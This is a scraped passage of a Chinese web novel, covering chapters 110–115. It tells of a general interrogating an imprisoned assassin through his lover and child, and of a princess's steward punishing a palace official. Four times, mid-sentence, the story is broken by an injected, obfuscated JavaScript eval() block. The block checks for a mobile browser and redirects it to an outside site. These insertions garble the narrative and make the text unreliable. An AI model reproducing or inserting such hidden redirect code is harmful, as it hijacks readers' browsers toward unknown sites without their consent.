“你随爹出征多年,我一直提心吊胆,生怕那一日便等来了讣告;元宝从小就没有爹爹在身边照顾,却是个懂事的孩子。他怕我一人寂寞、有事没事便围在我身边,为我排解不安和焦虑。” “你这次负伤归来,几乎去了半条命!我虽然难过,心里却是安定的——你失了一臂,便再也无法带兵出征,往后便可以陪在元宝和我的身边了,咱们一家人安安稳稳的过日子,不知有多好!” 郭碧云擦了擦眼泪,“我知道你不甘,因此在长公主来寻你时我并未多加阻拦——你历经生死,若有从小一起长大的师妹相伴,我也能放心些……” 赵元吉闻言心中颇为烦躁,忙道:“你这说的哪里话来,你是不知昨日有多凶险——长公主欲与那妖**同归于尽,元婴见状红了眼,竟提枪冲进那妖物口中……” “长公主是元婴的妻,他二人本就该生死与共!” 郭碧云猛地转过头,满眼怒火的直视丈夫—— “我才是你的妻!为一个外人拼上性命,你有没有想过别人会怎么看你?你若真的**,我和元宝该怎么办吗?” “我……” 看着妻子通红的眼,赵元吉那一句“是为了救二弟”却怎么也说不出口! 是了! 无论年少时他对无忧怀过怎样的心思,可时过境迁,如今他已有家小,做事怎能全然不顾后果?! 碧云温柔贤淑,这些年来府中人谁不夸她一句贤德,自己是不该再叫她伤心的! 赵元吉温柔一把拉过妻子的手,柔声道:“你说的是,此事是为夫考虑不周!可你也莫要误会,我不过是年少时与长公主有旧,她是我的弟妹,我怎会对她存有不轨之心?” “这些年来我征战在外,与你聚少离多;你虽是我的妻、可我却觉得自己还是当年那个意气风发的少年。” 他垂下眼,语带懊悔道:“昨日我实在是情急,后来思忖起来也颇觉懊悔!你说我都是个废人了,便是冲上去还能顶什么用?!若真落个身首异处、只怕会沦为他人茶余饭后的谈资……” 郭碧云忙一把捂住丈夫的嘴,“不许胡说,你才不是废人!祭坛外满是披坚执锐的护卫,唯夫君拖着残躯助长公主降服妖兽,你是碧云心目中的真英雄!” 赵元吉满心暖意,他抱了抱妻子,柔声道:“不生气了就好,元宝今日受了惊吓,你去看看孩子,我这伤不重,待过上两日便能痊愈了!” 郭碧云这才想起丈夫受了伤,忙不迭收了眼泪,起身道:“药已叫厨下熬着了,你待会儿别忘了喝!” 赵元吉温和的点了点头,“夫人放心,为夫省的!” ----------------- “大爷,这么晚了您还要来审问那个刺客?” 赵元吉晃了晃被重新装好的玄铁右臂,朝春山道:“你家二爷被困在宫里,还不知多久才能回来,我虽已是个废人,但像审问犯人这种事还是能帮上忙的。” 春山一哂,“瞧大爷说的……” “我不是在矫情,就我如今这个样子,日后怕再难帮上元婴了……” 赵元吉喃喃半晌,这才道:“派出去暗查的探子怎么说的?” 提及此事春山忽的来了劲头,“大爷不知,长公主手中竟也握有暗人,那帮人查了这么多天,终于查出眉目了!” 他凑近赵元吉身边,低声道:“那马鹞子本名李东山,因被贪官逼**爹娘而落草为寇,这么多年来尽做些**越货的买卖,属下叫人去他家乡查过,李家人早就死绝了。可长公主的暗探顺藤摸瓜,竟查出马鹞子在宫变之后曾有个姘头名叫姣娘,听说还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649068|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大户人家出身!” “这姣娘嫁了人,偏被夫家**,也不知她从何处认识了马鹞子,那人竟为她杀了丈夫全家,并带着姣娘私奔,二人着实做了几年亡命鸳鸯。可后来不知怎地,姣娘竟不见了,马鹞子便又重出江湖,重新做起**越货的的买卖!” “暗人们查出姣娘其实已为马鹞子生了个儿子,后来母子二人竟一并被人劫持,马鹞子苦寻无果,这才重操旧业!” 赵元吉眸色一闪,“马鹞子是当年的叛军头子,姣娘母子的失踪想来是有人故意为之了!” “大少爷英明!” “长公主的暗人在七日前寻到了姣娘母子的下落,奈何对方守卫森严,他们在国公府暗卫的协助下终于在昨日将人救了出来!” 春山嗤了一声,唏嘘道:“大爷是没看见,那姣娘竟是个泼辣货,她说了——这孩子是她与旁人生下的,与那马鹞子无关!” “偏那马鹞子也是个混不吝,只说姣娘是个**货,也死不承认那孩子是他的种!” “你觉得他们说的是真话吗?” 春山不屑道:“嗨,这事儿不是明摆着吗?若那孩子不是马鹞子的亲生子,那帮人怎会将这母子二人当成人质、以此胁迫马鹞子在二爷大婚之日来府中行刺杀之事?” 赵元吉看了他一眼,低声道:“若真如此,那孩子眼下已落入咱们手中,马鹞子为何还不肯乖乖就范?” 春山闻言颇为踟蹰,“小人也想不通——即便用那孩子的性命相要挟,那一对贼夫妻也具不松口!” “我问你,若是旁人以你儿子的性命要挟你去做事,你敢不从命?” 春山摇了摇头,“小人怎会如此狠心,那可是我的亲生子啊……” 他说到此处忽的一顿,“大爷的意思是,咱们救出的那孩子是假的?” 赵元吉活动了下身躯,朝春山道:“叫上府中的好手,今晚随我再走上一趟!” “可二爷您的伤……” “爷的伤势如何你会不知?” 赵元婴抬起行动自如的玄铁右臂,冷冷道:“爷今日便要大开杀戒,敢害我赵家之人,我绝不会放过!” 第一百一十一章 我对着家父英灵起誓 三更的锣声响过许久,赵不疑依旧睁着眼躺在床上。 不知爹爹怎么样了? 爹爹受了伤,偏偏母亲不许他打扰父亲休养—— 父亲是他心中的英雄,不见到人他心中总觉得不安! 耳边响起乳母均匀的呼吸声,赵不移小心翼翼的翻身下了床,胡乱披了件外衣在身上,这才蹑手蹑脚的打开门,朝父亲所在院落走去。 深夜的国公府一片漆黑,周遭万籁俱静,赵不移年纪虽小却不害怕,小小的身影熟练的穿过一排排的院落,往记忆中的小院走去;一抬头、本该独自修养的父亲竟抱着个两三岁的男童,缓缓从眼前经过。 爹爹怀中是谁?! 赵不移满眼好奇,之后才蹑手蹑脚的跟在一身黑衣的父亲身后,往一处不知名的院落走去。 衣服被溅上的鲜血慢慢干涸,赵元吉抱着怀中熟睡的孩子,来到一处不起眼的厢房跟前。 春山将门一开,一脸戒备的女子便出现在眼前。 姣娘死死攥住手中的剪刀,凶狠的盯着门外走进的男人,大声道:“我跟你们说过了,卓儿是我与别人生的,我与那李东山早没了联系,你们为何非要苦苦相逼?” “我的孩子呢,你们将他藏到哪儿去了?!” 听到熟悉的声音,赵元吉怀中的小人忽的睁开了眼,软软唤了句:“阿娘……” 姣娘的身子猛地颤抖起来,她倏然抬起头,热切的目光探究的地望向黑衣男子怀中,语带着迟疑道:“卓儿?!” “若前日里我们带回的那孩子真是你的亲骨肉,你这几日必会寝食难安,可你虽惊慌心态却甚是稳当,是以今夜我又带人去了趟京都南郊!” 赵元吉说完俯身将怀中孩童轻轻放在地上,看着那孩子跌跌撞撞投入姣娘怀中,他这才道:“那帮人将这孩子锁在一处暗不见光的地窖中,还给他喂了好些**,是以一路上这孩子都并未发出声音。” 姣娘一把将儿子抱在怀中,眼泪不争气的流下来。 赵元吉见状叹了口气,“这孩子本该平安长大,可是马鹞子将你们毁了……” 姣娘抱着孩子躲在墙角,转过头恶狠狠地的朝那人道:“你也不是什么好东西,还不是想用咱们娘儿俩要挟东山为尔等卖命!如今做这慈悲嘴脸给谁看?” “你若真是好人何不放我们离去?” “马鹞子**越货、手上人命无数,若将之送至官府,必会判个满门抄斩!” 怀中柔软的小身体不安的动了动,姣娘眼神一柔,忙轻轻拍了拍孩子的背,低声安慰道:“卓儿别怕,阿娘在这里。” 她低声呢喃道:“东山他罪有应得,我愿意陪他死!可这孩子是无辜的,我只求他能平安的活着!” 赵元吉冷冷道:“马鹞子乃穷凶极恶之辈,不值得你为他送命!” “你知道什么!” 姣娘紧紧环着怀中幼子,低声道:“在你们眼中他是个十恶不赦的罪人,可与我而言他是救人于水火的义士。” “我夫家姓孙,虽说读书人。可一家子竟都是败类!我娘家富甲一方,为钱财他们暗中设计害死我全家,连我那未成年的弟弟亦不放过。孙家是我的仇人,我发过愿,若谁能替我复仇,我便用这条命去报答他!” “那时我被当成疯妇囚在道观中,东山知道了我的遭遇,问我愿不愿意用自己的命换孙家满门赴死!” 赵元英不屑冷笑,“姣娘貌美,似马鹞子这等凶徒又怎会放弃到嘴的肥肉?” 姣娘眼神微闪,低声道:“我刚开始也是这么想,可东山杀了孙家满门后并未有无礼之举,他感叹我活的不易,叮嘱我今后隐姓埋名、好好过日子,便扬长而去!” “呵呵,姣娘睿智,怎会看不出此乃马鹞子欲擒故纵、骗你心甘情愿委身于他的把戏?” 姣娘摇了摇头,“东山说到做到!他走后我苦苦寻找了他一年,后来才知道他被手下兄弟出卖落入了官府手中成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649069|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是我散尽家财,从官府手中买下了他的命。”。 “与我在一块儿之后,东山便金盆洗手。只可惜树欲静而风不止,那帮人终究不会放过他!” “卓儿刚满两岁便有人寻上门来,东山怕连累我们母子,只得束手就擒。从那之后我便再也没见过东山,而我和卓儿也被那些人幽禁起来。我知道他们一定是以我们娘俩的性命要挟东山继续作恶!我本想带着孩子一**之,可每每看到卓儿天真烂漫的样子,我无论如何都下不去手!” 赵元吉默了默,才道:“这些日子马鹞子手上又添了许多人命!” 姣娘抬起抬起头,冷冷道:“身处乱世,能保住自家性命已是难得!如今人为刀俎,我又哪里顾得上其他?!” 赵元吉点了点头,“你若能这么想我便放心了——只要你答应帮我说服马鹞子,让他将所有的事合盘脱出,我保你母子平安!” 姣娘闻言冷笑连连,“那帮人也曾说过要饶过我们,可他们还不是以我们母子二人的性命相要挟?你只怕东山一旦吐了口,我们一家三口的死期便到了!” 赵元吉挺直脊背,沉声到:“我对着赵家列祖列宗起誓,只要你能让李东山说出知道的一切,宁国公府定保你们母子长命百岁!” 姣娘一怔:“国公府?!你是赵家人?” 赵元吉点了点头,“我父亲乃三朝元老、他一生戎马,征战无数,如今我对着家父英灵起誓,你可能放心?” 见他说的如此坦荡,姣娘心中缓缓升起一丝期望,她语带忐忑道:“我若按你的要求去做,你能不能放过他?” “马鹞子罪该万死,我若饶了他如何对得起哪些无辜之人?!” “但我会给他个痛快,也会准许你为他立坟,这样你的儿子便可以日日祭拜!” 姣娘眼中的光芒渐渐黯淡,看着怀中懵懂的幼子,她的心便软了! 终于,她抬起头,目中泪光点点,沉声道:“好,我答应你!” 第一百一十二章 什么也没听到 马鹞子敏锐地捕捉到不远处一阵略显急促的脚步声。 房门吱嘎一声被人推开,他下意识转过头,双眼上厚重的纱布渗出丝丝血迹,马鹞子忽的破口大骂起来—— “直娘贼,千杀的宁国功夫!既然抓住了老子,为何不给老子来个痛快?有什么酷刑尽管使出来,老子什么阵仗没见过,你们以为将老子关在这儿就能撬开老子的嘴?!” “老子早说了,干咱们这行一向是拿人钱财**,金主让杀谁老子就杀谁!只要给的钱多,皇帝老子我也敢拉下马!” 他咧开嘴,发出一阵张狂的笑,“劝你们别白费力气!老子是杀了先皇后,可那又怎样?长公主若不解恨,只管将老子千刀万剐!老子向来瞧不起你们这些**贵胄,有种再来和老子明刀明枪地干上一仗!” 话音刚落,一个温润的身躯突然撞进他怀中,一双手缓缓抚上他的眼,一道熟悉的女声悲戚道:“东山,你这是怎么了?” 马鹞子浑身一震,急忙伸手将人揽进怀中,侧耳问道:“是姣娘?!你怎么会在这儿?” 姣娘眼中噙满泪水,哽咽道:“你、你的眼睛……” “老子这对招子算是废了!” 马鹞子轻轻拉下姣娘的手,苦笑道:“说来也巧,老子这两只眼竟是被同一人所废……罢了,这是老子欠她的,只可惜以后再看不到姣娘漂亮的脸蛋了……” “只要你还活着,我就高兴!” 姣娘泣不成声,用拳头死命捶打着他的胸口,不住埋怨道:“我早就劝过你别再做**越货的勾当,你偏不听!” “你杀了那么多无辜之人,早晚要遭报应的……” 马鹞子心头升起一丝烦躁,他不耐地挥了挥手,沉声喝道:“眼下说这些有什么用?老子也想和你过安生日子,可那帮人能放过咱们吗?” 姣娘低声啜泣起来。 自从她跟了自己,整日里提心吊胆,竟从来没过过一天舒心日子! 马鹞子想到此处语气不由得软了下来,柔声道:“都怪我连累了你们娘俩,宁国公府的人没对您们怎么样吧?” 姣娘一边抽泣一边道:“我没事,国公府那位将军神通广大,竟将卓尔一并救了出来……” 马鹞子身躯猛地一紧,急切的问道:“卓儿落到赵元婴手里了?他怎么样了?” 姣娘擦了擦眼泪,忽的低声唤了句:“卓尔,快过来见见你爹。” 闻言,奶声奶气的小娃娃怯生生道:“阿娘,这个人就是爹吗?” 马鹞子的心猛地抽动起来,他伸出一双手,胡乱的向前探去,抖着声音道:“卓儿、卓儿你在哪?” 姣娘将幼子往前推了推,指着马鹞子柔声道:“好孩子,这就是你爹!” 卓儿小心翼翼地看着面前狼狈不堪的大汉,伸出手指着他的眼睛道:“爹,你的眼睛怎么了?” 马鹞子鼻头一酸,轻轻将卓尔软软的身子揽入怀中,只怕一个不小心会将那小小的身子揉碎了。 他声音里带着难得的温柔,低声道:“爹的眼睛坏了,以后只怕看不见卓儿了。” 说到此处他满心酸涩。 “卓儿去给爹爹请大夫,等病好了爹就能看见了!” 卓儿奶声奶气道:“爹还疼吗?卓儿给爹吹吹!” 姣娘心头一酸,她抬起手擦了擦眼泪,低声道:“那位将军说了,只要你说出知道的事,他愿意放咱们一条生路。” 马鹞子苦笑一声:“我活着都护不了你们周全,若他们真得到想要的,又怎会放你们离去?当**太大,我若真说出来,咱们的下场只怕比死更痛苦!” “吾乃大辉征西将军赵元吉是也!。 ”一个沉稳的声音响起,“只要你说出刺杀的真相,我以赵氏一族的荣耀起誓、一定护姣娘和卓儿周全!” 马鹞子闻言轻轻怀中幼子推向姣娘,歪着头半晌不语。 姣娘却突然朝赵元吉跪了下去,“将军,若他说出一切,您真的不能饶他一命吗?” 马鹞子大手一挥,浑不在意道:“姣娘不必求他。我手上人命无数,这些血债总是要还的,你扶我起来,带着儿子回去吧!” 年幼的卓儿隐约感到一丝恐惧,他死死拉住马鹞子的手,着急地问:“爹,你不跟我们走吗?” 马鹞子心头一阵刺痛,粗糙的大手缓缓拂过卓儿稚嫩的脸庞和柔软的头发,柔声道:“卓尔乖,先和娘出去,爹有事要和这位伯伯谈,待爹办完事就去寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649070|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你和娘。” 娇娘强忍泪水抱起儿子,一步三回头地朝门口走去。 “他们走了,你可以说了。” 马鹞子深吸口气,“其实老国公之死我也略知一二,只要将军答应我一桩事,我便将此事说给将军听!” ----------------- 半个时辰后,赵元吉白着脸和春山走了出来。 春山喃喃道:“没想到叛军之所以能攻入洛阳宫,竟是因为御前侍卫统领将宫门大开!周统领直属御前,为何要行此悖逆之事?只可惜他死于宫变,如若不然我们只需将人抓住审上一审,必能知道原委……” “还有老国公的死,竟也和那一位脱不了干系……” 赵元吉眼神一厉,抬手打断春山的话,“此事不许告诉长公主和二爷!” 春山一脸惊愕,“这是为何?” 赵元吉语气沉重,“你也说周统领直属御前,是他亲自为叛军开了门,又怎会死于敌军之手?” 春山心头猛跳,“大爷是说,此事是陛下……” “既然线索指向宫中那位,我们就必须从长计议。元婴胆大包天,若被他知道是‘那一位’派人抓了父亲身边副将的将军,并以此要挟他们对父亲和祖父下毒,定会不顾一切去报复!” 赵元吉眸中闪着寒光,沉声告诫道:“若不想二爷白白送死,就给我管好自己的嘴!”” 身后忽然传来细微的响动,赵元吉警觉地喝道:“是谁?还不快出来!” “爹爹是我!” 赵不移迈着小短腿从一旁的花丛后跑了出来。 春山忙道:“小少爷,这么晚了,你怎么在这儿?” 赵元吉俯下身,低声问:“元宝,爹刚才的话你都听见了?” 赵不移困惑的摇了摇头:“儿子只知道爹爹把什么人藏在这儿……爹,刚刚那个小弟弟是谁呀?” 赵元吉抚摸着儿子的头发,低声说:“那是爹手下侍卫的家眷,那孩子的爹重伤,临终前想见见家人。你记住,今天看到的事对谁都不能说,这关乎人命,知道吗?” 赵不移望着父亲严肃的表情,认真地点点头:“爹爹放心,儿子今天什么也没听见、没看见!” 第一百一十三章 入宫讨官 “我是叫你随我一同去探望长公主,又不是叫你去报丧,你摆着**脸给谁看?!” 光禄勋之妻孙夫人满脸鄙夷地盯着自己的儿媳,不住数落道:“当年人人都羡慕我儿娶了宁国公的嫡长女,谁知你竟是个不争气的,进门这些年也只生下个赔钱货。若不是你娘家还有些余威,我早就叫彪儿把你赶出去了!如今你亲弟弟攀上了长公主这高枝儿,我不过让你替彪儿谋上个一官半职,你就这么不情愿?” 赵子芳阴沉着脸,语气间满是不屑:“公爹贵为光禄勋,为何非要我一个出嫁女回娘家去央求妯娌?” 孙夫人啐了她一口,恶狠狠道:“光禄勋不过是个虚职!老爷他年纪大了,人走茶凉,如今她空有虚名,在朝中无甚权势,这几年我们四处奔走,勉强给我儿谋个从六品龙骧卫的职务。如今你那好妯娌被皇帝封为镇国公主,有参与朝政之权,她一句话可比你公爹十句话都管用。只要她在陛下面前为彪儿说句话,还愁弄不到个四五品的官职?” 她瞥了眼赵子芳,语带深意道:“他是你夫君,他若官运亨通,你这做娘子的脸上也有光不是?” 赵子芳淡淡道:“夫君是什么性子婆母难道不知?他便是做了一品大员,又能威风多久?” “你个**,竟敢诅咒自己的夫君……” 正说着,大门嘭的一声被人踢开,醉醺醺的孙彪摇摇晃晃走了进来,他大咧咧往床上一倒,朝着赵子芳颐指气使道:“去,给我打盆水来梳洗!” “就凭你,也敢瞧不起爷?” 孙夫人先是狠狠瞪了眼一脸冷漠的赵子芳,这才皱着眉看向满身酒气的儿子,低声质问道:“又去哪里喝得烂醉?你成天和一群狐朋**鬼混,为何不把心思放在读书上?若你能靠自己挣得功名,也省得我和你爹为你四处奔波!” 孙彪不屑地扯了扯嘴角:“爹爹位列九卿,他一句话就能替儿子挣个好前程,又何必费力去与那些穷酸儒生争?” 孙夫人怒其不争,恶狠狠道:“你爹爹都七十了,皇帝看在他劳苦功高的份上才尚了他光禄勋这个虚职。如今他在朝中已无实权,你要做京官便更难了,外放你又不肯,叫我们到何处去求人?” “现成的人脉不用,去求外人作甚?” 孙彪瞥了眼一旁的妻子,大声说道:“夫人的弟妹可是镇国公主,如今她手握重权,只需一句话,儿子怎么也能谋个四品大员吧?!” 赵子芳随手递上一条温热的毛巾,低声道:“长公主伤重卧床,我怎么好意思开口为你谋官职?再说我与她并不亲近,她嫁入赵家不满,此时去求人,只怕她不答应!” 孙彪不屑地朝她踢了一脚,“少拿这话糊弄我!满京都谁不知道,那赵元婴的羽林中郎将之职是长公主向陛下求来的!都是吃软饭的,凭什么人家能做三品大员,我却只能混个侍卫做?!” “长公主面子大,她一开口,陛下就赏了她夫婿正二品官职。你是她的姑姐,你去说话,她敢不给面子?” 这如何比得?! 元婴本就是一品国公,陛下当然赏赐高阶职位! 可孙彪不过一介白衣,即便陛下看在公公的面上,赏个六七品的闲职已是极限! 赵子芳冷冷道:“你不是瞧不起我赵家高攀皇室吗?公公高洁,想来不屑坐那攀附之人!” “若我真开口向长公主替你求官,往后我弟弟在殿下面前岂不是要矮人三分?” 孙夫人闻言火气更盛,她伸出手指向速来看不顺眼的儿媳妇儿。 “你这说的什么话?一家亲戚本就该相互帮扶,当初你娘家出事时,我们也没少接济,怎么到了孙家有难时赵家便推三阻四起来?!” 赵子芳闻言,心中愈发愤懑,忍不住出言讥讽道:“娘这话就是无中生有了!自打父亲出事您对便赵家避如蛇蝎,莫说派人去亲家探望,更是连门都不许我这赵家嫡女出。如今倒想起让我去求告娘家了,就不觉得羞耻吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649071|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “放屁!你既嫁入我孙家,便是我孙家的人,爷叫你做什么就得做什么!” 孙彪说着,一个巴掌狠狠朝赵子芳扇去。赵子芳眼疾手快,一把狠狠抓住丈夫的手腕,眼中凌厉的目光吓的孙彪一抖。 手腕上传来阵阵剧痛,孙彪忍不住痛呼出声;孙夫人见状,忙不迭呵斥道:“竟敢与你夫君动手,你的妇道呢?赵家就是这般教导女儿的?” 孙彪亦恼羞成怒,大声喝道:“再不放手,爷就把你和那赔钱货全都卖到楼子里去!” 孙夫人见状也在一旁帮腔,“你还敢大发**?我孙家至今没有嫡子,你是有意叫我家绝后吗?” 说着,她扑通一声坐在地上,放声大哭起来。 “大家都来看啊!宁国公府的长嫡女,竟敢动手责打夫婿,天理何在?我要去敲登闻鼓、我要上殿告御状!我要叫天下人都看看,忠贞豪义气的赵家人究竟是什么嘴脸!” 这位列九卿的光禄勋夫人,撒起泼来竟比市井泼妇还要难缠! 赵子芳心中涌起一股深深的无力感,想到女儿玲珑,只得不甘地松了手,朝着孙彪低声道:“你若再敢让那些娼妇动玲珑一手指头,我便与你翻脸!” 孙彪怒道:“有种你倒是给爷生个儿子啊!谁叫你的肚子不争气!” 赵子芳深吸一口气:“叫我帮你也行,但此番我要带玲珑一起进宫。” 孙夫人闻言,一骨碌爬起身,凑到她身前高声道:“咱们是进宫去看病,你带那病秧子作甚?她与后宅姨娘们在一处娇养,做什么非要带她进宫?” 赵子芳扶了扶鬓边的钗环,低声道:“长公主上次曾与我提起,想见一见玲珑。此番公主受伤,若我能带着玲珑前去探望,说不定殿下会看在孩子的份上答应咱们得请求。” 孙彪顿了顿,这才不屑地挥了挥手:“罢了,那个臭丫头你愿意带去就带去。不过爷告诉你,若是谋不到四品以上的官职,就不许你再进孙家的门!” 第一百一十四章 大司农之女 自打前日晋封镇国公主的旨意一下,长公主的九龙池便门庭若市。 不仅素日里眼高于顶的一众后宫嫔妃天天来给公主问安,连宫外的命妇们也带着各种礼物,以探病和侍疾为由前来拜见。 御膳房的刘总管赔着笑脸,轻轻将手中食盒打开,在福童面前晃了晃。 “福总管万安!这是今日中午长公主要用的膳食,您看可还满意?” 福童扫了眼食盒,唇角勾起一抹似有若无的笑:“送个午膳而已,怎敢劳烦刘大人您亲自前来。” “总管大人说的哪里话!能为长公主尽心,乃是奴婢的福气!” 刘总管弓着腰,声音里满是讨好。 “老奴刚刚接管内事府不久,是以疏忽了对九龙池的照应。这都是手下人偷懒,还请总管大人为我在殿下面前说说情才是啊!” 福童伸出手地摩挲着食盒边缘,叹道:“可惜刘大人这份心意,到底是来迟了!” 刘总管笑容一僵,“总管这话是何意?老奴实在不明白......” 福童语调陡然转冷,眼中寒光毕现。 “刘大人在宫里当差这么多年,难道还不知道咱们殿下的脾气?上一任总管因怠慢长公主被陛下撤职查办,这才轮到您接手这肥的流油的内事府。您不思酬报长公主恩德,反倒故意轻慢,这是什么道理?”? 刘总管面色一白,忙不迭的解释道:“总管明察!老奴绝无此意,都是手下的孩子们不争气......” “少在我面前装糊涂!” 福童冷哼一声,随手从怀中取出只碗,指着那碗口一处豁口,朝着刘总管道:“瞧瞧,您给镇国公主送来的都是些什么?药碗有豁口、托盘掉了漆;连宫中陈设还是前年的旧物!这不是故意怠慢,又是什么?” 啪的一声瓷片四溅,那只碗被猛地丢在刘总管脚前, “殿下为大辉出生入死、身负重伤,陛下亲自下旨封她为镇国公主,又特许参政。这可是大辉朝开天辟地头一遭!” 说到此处他口气突然变得讽刺:“知道您是淑妃娘娘的远亲,内事府有什么好东西您自然先紧着明光殿去用。您这般作为可有把我们九龙池放在眼里?咱们殿下是这后宫中品级最高之人,尔等小人竟敢折辱殿下,是也不看看自己脖子上究竟长了几个脑袋?!” “总管恕罪!定是下面的人办事不力,老奴这就去换描金的碗来......”? “再说这膳食!” 福童怕的一声将食盒盖上,厉声道:“咱们殿下吩咐过膳房,每餐必须有肉和燕窝。可你们送来的全是青菜豆腐,长公主正在养伤,难不成你们想要殿下永远缠绵病榻?” 一滴冷汗划过刘总管额角,他忙不迭道:“殿下的膳食都是太医令亲自吩咐的,是他说殿下饮食需清淡,老奴只是奉命行事......” “混账!” 福童大喝一声,“你身为内事府总管,是该听太医令的,还是听长公主的?国师特意嘱咐过,殿下体质特殊、养伤期间需得荤腥滋补,你是没长耳朵还是没长脑子?敢把殿下的话当耳旁风,似你这般的内侍府总管,不要也罢!” 命妇妃嫔们见状面面相觑—— 长公主这是决意和淑妃杠到底了?! 这也难怪,她二人想来势同水火,如今长公主得势,又怎会轻易放过淑妃?! 刘总管脸色骤变,他猛地挺直脊背,大声道:“内事府总管向来由陛下钦点,即便长公主有参政之权,只怕也不能随意任免官员!” 福童突然笑出声来,“刘大人怕是还没听明白陛下的圣旨吧?镇国公主地位超然,便是皇子也不能与之比肩,你一个小小的五品官,殿下自然有权处置!” “来人,把他拖下去!从今往后内事府便由副总管接手!” 话音未落,几个小太监一拥而上,他们七手八脚的扒下刘总管的官服,连拖带拽地将人往外推。 刘总管这才慌了神,声嘶力竭地求饶:“长公主饶命!奴才知错了,求您再给奴才一次机会......” 福童环视四周,见一众宫人纷纷低下头,他这才冷笑一声:“敢不把殿下放在眼里,就该有这个下场!” “总管大人,殿下该用药了!” “这是副总管送过来的新餐具!” 红珠端着新的托盘,小心翼翼地走上前来。 福童嘴角勾起一抹满意的笑:“陈总管倒是机灵,刚上任就知道孝敬殿下!”< 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闻言一旁的碧萝忙递上蜜饯喂入她口中。 陈爱若盯着蜜饯,眼神倏然发亮,忽的拉长声音道:“娘,我也要……” 刘氏的心一沉,朝着女子轻轻摇了摇头;陈爱若见状眼底闪过一丝委屈,却并未再开口讨要蜜饯。 少女不同寻常的反应引起了商无忧的注意,她转头朝侍女吩咐:“请小姐尝尝咱们新腌渍的果子!” 刘氏面色一紧,忙推辞道:“殿下不必理会这孩子,她从小便是这个样子,让您见笑了!”? 碧色的眸光在陈爱若身上逡巡,商无忧低声道:“这就是众人口中那位不谙世事的‘呆若若’?”? 刘氏闻言眼眶泛红,哽咽道:“说来惭愧,小女自两岁时生了场大病,之后便成了这个样子,任臣妾百般调养就是不见好!这么多年来,若若明里暗里不知受了多少嘲笑……” “臣妾只得这一个女儿,这些年来臣妾度日如年,听闻殿下也曾困顿萎靡,所以今日特意带她来拜见殿下!殿下是我大辉的神女,若这孩子能沾沾殿下的福气,臣妾便是**也心满意足了!” 第一百一十五章 如此亲家(一) “姑姑扶我起身吧!” 余霜闻言忙上前轻手轻脚地扶起商无忧,转手朝她身后塞了个靠垫,她见商无忧似有话要说,忙俯身道:“殿下有何吩咐?” “我记得昨日陆贵嫔曾让人送来许多新鲜瓜果,红珠又从国公府回会不少新腌制的蜜饯,姑姑且拿出来,请陈小姐一同尝尝。” 刘夫人忙道:“殿下太客气了,小女如何敢当?” “夫人带小姐入宫探病,本宫请小姐吃个果子有何不可?” 待各式各样的果子摆了上来,陈爱若眼中泛起一丝惊喜,她瞥了眼母亲的神色,这才小心翼翼的伸出手,挑了颗色泽鲜亮的红果放入口中。 少女眼神一亮,语气间竟带着几分憨傻。 “阿娘,这果子酸酸甜甜的,可真好吃!” 刘夫人见状鼻子一酸,险些落下泪来。 她那边自顾自伤心,因此并未看到床上的长公主一双碧色的眸子中,忽的泛起阵阵涟漪。 曾经呆呆傻傻的少女目中居然闪烁着伶俐的光芒,她跪在自己身前,一脸崇敬道:“殿下与爱若有恩,爱若愿为长公主效犬马之劳!” 碧眸中的漩涡渐渐平息,商无忧朝少女露出个微笑,“不知小姐闺名唤作什么?” 刘氏忙道:“臣女小名叫做若若。” 商无忧随手从脑后拔出一只金蛇簪,朝刘爱若扬了扬手:“本宫每次在于神殿中行祭礼时都会佩戴此物,这金蛇簪有灵性、能除邪祟、助气运;今日本宫便将此物赠与若若小姐,愿小姐长乐未央!” 那簪乃纯金所制,其上盘旋着一只灵蛇,工艺十分精巧。 陈爱若十分喜欢,忙不迭伸手去接;刘氏见女儿却怕长公主嫌弃女儿无礼,她刚要出言提点,却见长公主已一把拉住女儿的手腕,温和道:“不如本宫来帮小姐将这簪插在头上,如何?” 